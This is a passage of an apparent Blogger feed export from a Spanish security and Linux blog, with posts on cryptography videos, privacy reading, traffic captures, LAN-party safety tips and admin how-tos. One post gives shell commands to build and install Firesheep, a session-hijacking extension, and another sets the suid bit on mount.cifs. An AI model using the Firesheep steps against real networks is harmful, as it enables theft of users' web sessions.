&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.criptored.upm.es/intypedia/video.php?id=introduccion&amp;amp;lang=es&quot;&gt;Presentación de la Intypedia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.criptored.upm.es/intypedia/video.php?id=historia-criptografia&amp;amp;lang=es&quot;&gt;Historia de la criptografía y su desarrollo en Europa&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.criptored.upm.es/intypedia/video.php?id=criptografia-simetrica&amp;amp;lang=es&quot;&gt;Sistemas de cifra con clave secreta&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.criptored.upm.es/intypedia/video.php?id=criptografia-asimetrica&amp;amp;lang=es&quot;&gt;Sistemas de cifra con clave pública&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;Intypedia es un proyecto de &lt;a href=&quot;http://www.criptored.upm.es/&quot;&gt;CRIPTORED&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;David&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/2187712448439702059/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/2187712448439702059' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/2187712448439702059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/2187712448439702059'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2011/01/intypedia-seguridad-de-la-informacion.html' title='Intypedia, seguridad de la informacion'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbOnfTqCdadz69smYB5RgN5-oKi-btpsRPexhsb98YJCxLzCHnXnAXFH_9ydCmx8-o4j5cdCz_NmdJdGXqSALoOAtFiomhFgbr_B4rn9REgbFA-q9hhxySerm2tCg_hgeapKYVVIkdR7I/s72-c/intypedia.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-6423891570972997565</id><published>2011-01-08T15:28:00.000+01:00</published><updated>2011-01-08T15:28:35.964+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Anonimato"/><category scheme="http://www.blogger.com/atom/ns#" term="Privacidad"/><title type='text'>Anonimato</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: right;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilsnlrqZ7QIrOOLohOh3UaYM7IFrit2rIZcF2T0HwHZ4G6C-vNiPSPimq94_nyxeNND3ODCiCPKJZf0wKtbVkNnlOfMiNHa4Tnumxl2puwGPMbiwlkI4L85os7oAIPmN7TO2Tgcu2lWw0/s1600/privacidad-en-internet.gif&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilsnlrqZ7QIrOOLohOh3UaYM7IFrit2rIZcF2T0HwHZ4G6C-vNiPSPimq94_nyxeNND3ODCiCPKJZf0wKtbVkNnlOfMiNHa4Tnumxl2puwGPMbiwlkI4L85os7oAIPmN7TO2Tgcu2lWw0/s200/privacidad-en-internet.gif&quot; width=&quot;198&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Últimamente he leído dos post sobre temas relacionados con el anonimato y la privacidad. Uno trata sobre como es posible realizar un posicionamiento de las personas y está escrito en el blog de &lt;a href=&quot;http://www.securityartwork.es/&quot;&gt;securityartwork&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.securityartwork.es/2010/12/28/se-donde-estas-tecnologias-de-posicionamiento-en-dispositivos-de-hoy-en-dia&quot;&gt;Se donde estas: tecnologías de posicionamiento en dispositivos de hoy en día&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
El segundo trata sobre cómo escribir en blogs de forma anónima por parte de&amp;nbsp;&lt;a href=&quot;http://blog.segu-info.com.ar/&quot;&gt;segu-info.com.ar&lt;/a&gt;&amp;nbsp;que se basan en un post de &lt;a href=&quot;http://www.eff.org/&quot;&gt;Electronic Frontier Foundation&lt;/a&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;a href=&quot;http://blog.segu-info.com.ar/2010/12/blogueando-anonimamente.html&quot;&gt;Blogueando anónimamente&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La tercera recomendación viene de la historia &quot;&lt;a href=&quot;http://www.telefonica.net/web2/recurrente/cosas/arbolciencia.pdf&quot;&gt;El arbol de la ciencia&lt;/a&gt;&quot; de David Gutierrez Rubio que trata sobre la trazabilidad de nuestra vida privada mediante nuestros movimientos electrónicos.&lt;br /&gt;
&lt;br /&gt;
David&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/6423891570972997565/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/6423891570972997565' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/6423891570972997565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/6423891570972997565'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2011/01/anonimato.html' title='Anonimato'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilsnlrqZ7QIrOOLohOh3UaYM7IFrit2rIZcF2T0HwHZ4G6C-vNiPSPimq94_nyxeNND3ODCiCPKJZf0wKtbVkNnlOfMiNHa4Tnumxl2puwGPMbiwlkI4L85os7oAIPmN7TO2Tgcu2lWw0/s72-c/privacidad-en-internet.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-7943648121831868013</id><published>2010-12-05T18:42:00.001+01:00</published><updated>2010-12-06T11:03:17.189+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Robo de sesion"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad / Hacking"/><title type='text'>Firesheep simplifica el robo de sesión</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;Buenas,&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeSSD5NQru13KDa3AvxnVK9akhkLsKHYNnrzYjFFPTnlUPxutuS27mDTl8vdbalJZHOHlV78TG8Cwxav7IeAABFiQZsHfltzX5izZKmqNZEj3TxnT6Fqn6JR1Kbt-0ZvLh76HklXOj0V8/s1600/firesheep.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;191&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeSSD5NQru13KDa3AvxnVK9akhkLsKHYNnrzYjFFPTnlUPxutuS27mDTl8vdbalJZHOHlV78TG8Cwxav7IeAABFiQZsHfltzX5izZKmqNZEj3TxnT6Fqn6JR1Kbt-0ZvLh76HklXOj0V8/s200/firesheep.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;Firesheep es una extensión de firefox de la que se ha hablado mucho últimamente, pues permite obtener las sesiones de usuario de páginas web como twitter, facebook, ... simplemente escuchando el tráfico.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Apareció en ToorCon 12 para ser usado en redes wireless, pero en &lt;a href=&quot;http://www.hacktimes.com/jugando_con_firesheep/&quot;&gt;hacktimes&lt;/a&gt; han demostrado que también se puede utilizar en redes cableadas haciendo un ataque de hombre en el medio.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Inicialmente, sólo está disponible para Windows y Mac pero es posible utilizarlo desde Linux realizando unos breves pasos que encontramos en&amp;nbsp;&lt;a href=&quot;http://www.tuxapuntes.com/drupal/node/1966&quot;&gt;http://www.tuxapuntes.com/drupal/node/1966&lt;/a&gt;:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;code&gt;$&amp;gt; git clone https://github.com/codebutler/firesheep.git&lt;/code&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;code&gt;&lt;code&gt;$&amp;gt; cd firesheep&lt;/code&gt;&lt;/code&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;code&gt;&lt;code&gt;&lt;code&gt;$&amp;gt; git submodule update --init&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;code&gt;&lt;code&gt;&lt;code&gt;&lt;code&gt;$&amp;gt; apt-get install autoconf libtool libpcap-dev libboost-all-dev libhal-dev xulrunner-1.9.2-dev aircrack-ng&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;code&gt;&lt;code&gt;&lt;code&gt;&lt;code&gt;&lt;code&gt;$&amp;gt; ./autogen.sh &amp;amp;&amp;amp; make&amp;nbsp;&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;code&gt;&lt;code&gt;&lt;code&gt;&lt;code&gt;&lt;code&gt;&lt;br /&gt;
&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Si da un error de&amp;nbsp;&lt;i&gt;ReferenceError:Cc is not defined&lt;/i&gt; es porque no identifica el vendedor de la tarjeta de red, para resolverlo hay que modificar la línea 48 (&lt;i&gt;throw ex&lt;/i&gt;) por &lt;i&gt;return string(&quot;ERROR&quot;);&lt;/i&gt; en el fichero firesheep/backend/src/linux_plattform.cpp&lt;br /&gt;
&lt;br /&gt;
Por último, se habrá creado un fichero en firesheep/build con extensión .xpi que podremos arrastrar a una ventana de Firefox para ser instalado&lt;/div&gt;&lt;br /&gt;
David</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/7943648121831868013/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/7943648121831868013' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7943648121831868013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7943648121831868013'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/12/firesheep-simplifica-el-robo-de-sesion.html' title='Firesheep simplifica el robo de sesión'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeSSD5NQru13KDa3AvxnVK9akhkLsKHYNnrzYjFFPTnlUPxutuS27mDTl8vdbalJZHOHlV78TG8Cwxav7IeAABFiQZsHfltzX5izZKmqNZEj3TxnT6Fqn6JR1Kbt-0ZvLh76HklXOj0V8/s72-c/firesheep.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-6644556161843192453</id><published>2010-11-04T21:01:00.001+01:00</published><updated>2010-11-04T21:01:03.568+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad / Hacking"/><title type='text'>Análisis de tráfico</title><content type='html'>En una nueva entrada de securitybydefault.com viene una Web donde recopilan trazas de tráfico de red para poder ser analizadas.&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;Por ejemplo, tienen trafico de &lt;a href=&quot;https://www.openpacket.org/capture/grab/52&quot;&gt;Conflicker&lt;/a&gt;, &lt;a href=&quot;https://www.openpacket.org/capture/grab/69&quot;&gt;Zeus&lt;/a&gt;, ...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;http://openpacket.org/&quot;&gt;Openpacket.org&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;http://pcapr.net/&quot;&gt;pcapr.net&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;Dos webs interesantes!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/6644556161843192453/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/6644556161843192453' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/6644556161843192453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/6644556161843192453'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/11/analisis-de-trafico.html' title='Análisis de tráfico'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-8353622795038166410</id><published>2010-11-01T12:46:00.000+01:00</published><updated>2010-11-01T12:46:26.531+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Delitos informaticos"/><title type='text'>Mula, el peor negocio de tu vida</title><content type='html'>&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial; font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: medium;&quot;&gt;Parecía que las noticias sobre las &#39;mulas&#39; no eran propias de España pero según leo en&amp;nbsp;&lt;a href=&quot;http://www.zonavirus.com/noticias/2010/las-estafas-por-internet-se-cobran-seis-detenidos-mas-y-ya-superan-el-centenar-este-ano-2010.asp?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed:+noticias-zonaviruscom+(Noticias+-+zonavirus.com)&quot;&gt;zonavirus.com&lt;/a&gt;&amp;nbsp;la Comunidad Valenciana es tierra de mulas.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/8353622795038166410/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/8353622795038166410' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/8353622795038166410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/8353622795038166410'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/11/mula-el-peor-negocio-de-tu-vida.html' title='Mula, el peor negocio de tu vida'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-918840713977671417</id><published>2010-08-02T20:18:00.001+02:00</published><updated>2010-08-02T20:19:21.274+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="network-manager"/><title type='text'>Kubuntu 10.4 knetworkmanager No gestiona</title><content type='html'>Buenas,&lt;br /&gt;
&lt;br /&gt;
después de un apagón del sistema por falta de batería, al siguiente reinicio network-manager &quot;no gestiona&quot; las redes del equipo.&lt;br /&gt;
&lt;br /&gt;
Esto pasa porque se queda en un estado inconsistente el fichero de estado de knetworkmanager.&lt;br /&gt;
&lt;br /&gt;
Solución en https://bugs.launchpad.net/ubuntu/+bug/555571&lt;br /&gt;
&lt;br /&gt;
# service network-manager stop&lt;br /&gt;
# vim /var/lib/&lt;wbr&gt;&lt;/wbr&gt;NetworkManager/&lt;wbr&gt;&lt;/wbr&gt;NetworkManager.&lt;wbr&gt;&lt;/wbr&gt;state&lt;br /&gt;
&lt;br /&gt;
[main]&lt;br /&gt;
NetworkingEnabl&lt;wbr&gt;&lt;/wbr&gt;ed=true&lt;br /&gt;
WirelessEnabled&lt;wbr&gt;&lt;/wbr&gt;=true&lt;br /&gt;
&lt;br /&gt;
# service network-manager start&lt;br /&gt;
&lt;br /&gt;
¡Es bastante útil!&lt;br /&gt;
&lt;br /&gt;
David</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/918840713977671417/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/918840713977671417' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/918840713977671417'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/918840713977671417'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/08/kubuntu-104-knetworkmanager-no-gestiona.html' title='Kubuntu 10.4 knetworkmanager No gestiona'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-3900063868871174223</id><published>2010-07-07T14:56:00.000+02:00</published><updated>2010-07-07T14:56:33.208+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="LANParty"/><category scheme="http://www.blogger.com/atom/ns#" term="Recomendaciones"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Lógica"/><title type='text'>Como prepararse para una LAN Party</title><content type='html'>Buenas,&lt;br /&gt;
&lt;br /&gt;
antes de acudir a una LAN Party hay que revisar si nuestro equipo cumple con unos mínimos de seguridad para evitarnos sorpresas. Buscando información al respecto, me acordé de que en la mítica &lt;a href=&quot;http://events.ccc.de/congress/&quot;&gt;Chaos Communication Congress&lt;/a&gt; en su 26 edición tenían una página con recomendaciones.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://events.ccc.de/congress/2009/wiki/How_To_Survive&quot;&gt;How to survive (inglés)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Un resumen de estas recomendaciones es:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Pon una contraseña a la BIOS&lt;/li&gt;
&lt;li&gt;Pon una contraseña en GRUB/LILO&lt;/li&gt;
&lt;li&gt;¡Nunca dejes una rootshell abierta!&lt;/li&gt;
&lt;li&gt;¡Haz una copia de seguridad de tus datos importantes!&lt;/li&gt;
&lt;li&gt;Vigila tu hardware, o que alguien en quién confies lo haga&lt;/li&gt;
&lt;li&gt;Piensa en el control de acceso&lt;/li&gt;
&lt;li&gt;Pon extensiones de seguridad a tu disco duro&lt;/li&gt;
&lt;li&gt;Considera la utilización de la criptografía y otras herramientas&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&amp;nbsp;Recomendaciones sobre navegar por Internet:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Utiliza un navegador seguro y desactiva el javascript o Flash&lt;/li&gt;
&lt;li&gt;Fijate en las páginas que están cifradas&lt;/li&gt;
&lt;/ul&gt;Navegación sin cifrar&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;No proporciones información privada durante la LAN Party&lt;/li&gt;
&lt;li&gt;Considera borrar las cookies (puedes hacer una copia de seguridad para luego restaurarlas)&lt;/li&gt;
&lt;li&gt; Usa la característica de SSH llamada &quot;SOCKS port forwarding&quot;(SSH -D) para hacer un tunel SSH hacia tu red de casa.&lt;/li&gt;
&lt;/ul&gt;Navegación cifrada (HTTPS)&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Ten cuidado de los ataques MITM, añade una entrada estática en la tabla ARP.&lt;/li&gt;
&lt;li&gt;No te fíes de las páginas web con errores en certificados. Puede darse el caso que ciertas web no tengan un certificado firmado por una CA conocida, en estos casos, antes de acudir a la LAN Party añade el certificado a tu navegador.&lt;/li&gt;
&lt;/ul&gt;Y esta la añado yo:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Piensa antes de darle al botón&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
David</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/3900063868871174223/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/3900063868871174223' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/3900063868871174223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/3900063868871174223'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/07/como-prepararse-para-una-lan-party.html' title='Como prepararse para una LAN Party'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-4874861859969052820</id><published>2010-07-07T12:30:00.000+02:00</published><updated>2010-07-07T12:30:18.723+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="mount"/><title type='text'>smbmount sin necesidad de sudo</title><content type='html'>Buenas,&lt;br /&gt;
&lt;br /&gt;
Para montar un disco en red mediante samba se suele utilizar la herramienta smbmount. Las opciones que yo utilizo son:&lt;br /&gt;
&lt;br /&gt;
$&amp;gt; smbmount &#39;\\IP\carpeta&#39; &amp;lt;&amp;lt;carpeta_local&amp;gt;&amp;gt; -o username=&amp;lt;&amp;lt;usuario&amp;gt;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Esto nos dará un error de mount.cifs operación no permitida ( mount.cifs operation not permitted.&lt;br /&gt;
&lt;br /&gt;
Lo que tenemos que hacer es poner el bit suid a mount.cifs que es el comando final que se ejecuta en el script smbmount. Por si no sabes que es el &lt;a href=&quot;http://www.iec.csic.es/criptonomicon/linux/suid.html&quot;&gt;bit suid&lt;/a&gt;, no usarlo a la ligera!&lt;br /&gt;
&lt;br /&gt;
#&amp;gt; chmod u+s /sbin/mount.cifs&lt;br /&gt;
#&amp;gt; chmod u+s /sbin/umount.cifs&lt;br /&gt;
&lt;br /&gt;
David</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/4874861859969052820/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/4874861859969052820' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/4874861859969052820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/4874861859969052820'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/07/smbmount-sin-necesidad-de-sudo.html' title='smbmount sin necesidad de sudo'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-3979368067614593548</id><published>2010-07-06T11:58:00.000+02:00</published><updated>2010-07-06T11:58:20.568+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Imagenes"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Reducir tamaño imagen desde la consola en Linux</title><content type='html'>Buenas,&lt;br /&gt;
&lt;br /&gt;
En el mes de noviembre de 2009 escribí un post sobre &lt;a href=&quot;http://urdiendo.blogspot.com/2009/11/reduce-el-tamano-de-una-imagen-con.html&quot;&gt;reducir el tamaño de una imagen con Krita&lt;/a&gt;, este es un buen método si sólo tienes que reducir una imagen. Sin embargo, si tienes que reducir varias a la vez existe ImageMagick que permite retocar las imagenes desde la consola. Entre sus funciones está la reducir la resolución de una imagen, y por lo tanto, disminuirá su tamaño.&lt;br /&gt;
&lt;br /&gt;
#&amp;gt; apt-get install imagemagick&lt;br /&gt;
&lt;br /&gt;
Reducir tamaño imagen:&lt;br /&gt;
&lt;br /&gt;
$&amp;gt; convert -resize &amp;lt;resolución&amp;gt; &amp;lt;imagen&amp;gt;&lt;br /&gt;
$&amp;gt; convert -resize 800x600 imagen1.jpg&lt;br /&gt;
&lt;br /&gt;
¡Así de fácil!&lt;br /&gt;
&lt;br /&gt;
David</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/3979368067614593548/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/3979368067614593548' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/3979368067614593548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/3979368067614593548'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/07/reducir-tamano-imagen-desde-la-consola.html' title='Reducir tamaño imagen desde la consola en Linux'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-8465923324154580188</id><published>2010-06-22T20:54:00.000+02:00</published><updated>2010-06-22T20:54:58.828+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="VPN"/><title type='text'>VPN con ssh by systemadmin.es</title><content type='html'>Buenas,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
llevo un tiempo siguiendo el blog de &lt;a href=&quot;http://systemadmin.es/&quot;&gt;systemadmin.es&lt;/a&gt; y os lo recomiendo a todos los que utilicéis algún tipo de sistema Unix. Tiene entradas muy potentes y sencillas.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://systemadmin.es/2010/06/crear-una-vpn-con-ssh&quot;&gt;VPN con ssh by sistemadmin.es &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
